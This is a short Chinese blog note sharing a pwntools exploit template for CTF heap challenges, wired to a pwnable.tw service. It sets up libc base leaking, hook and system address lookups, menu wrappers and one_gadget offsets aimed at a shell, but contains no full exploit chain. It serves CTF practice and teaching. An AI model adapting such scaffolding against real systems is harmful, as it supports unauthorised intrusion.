【笔记】pwn模板

今天在一个师傅博客中学到了一种当本地 libc 和远程 libc 不一样，调试和 getshell 之间需要切换的情况下，这种模板就会很简单。拿过来结合自己之前用的如下：

from pwn import *
import sys

context.log_level = "debug"
elf = ELF("./pwn")

if sys.argv[1] == "process":
   p = process("./pwn")
   libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
   p = remote("chall.pwnable.tw",10302)
   libc = ELF("./libc_64.so.6")

DEBUG = 0
if DEBUG:
	gdb.attach(p, 
	'''	
	b *0x08048935
	c
	''')

def dbg():
    gdb.attach(p)
    pause()

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num          		:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))	
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia		= lambda                    :p.interactive()

libc_base = u64(ru("\x7f")[-6:].ljust(8, '\x00')) - 0x68 - libc.symbols['__malloc_hook']
info("libc_base", libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search("/bin/sh").next()

menu = "Your choice : "
def cmd(idx):
	ru(menu)
	sl(str(idx))
	
def add(length, name, color='blue'):
	cmd(1)
	ru("Length of the name :")
	sl(str(length))
	ru("The name of flower :")
	se(name)
	ru("The color of the flower :")
	sl(color)

def show():
	cmd(2)

def remove(idx):
	cmd(3)
	ru("remove from the garden:")
	sl(str(idx))

def clear():
	cmd(4)

if sys.argv[1] == "process":
   one_gadget = libc_base + 0xf02a4
else:
   one_gadget = libc_base + 0xef6c4
   
ia()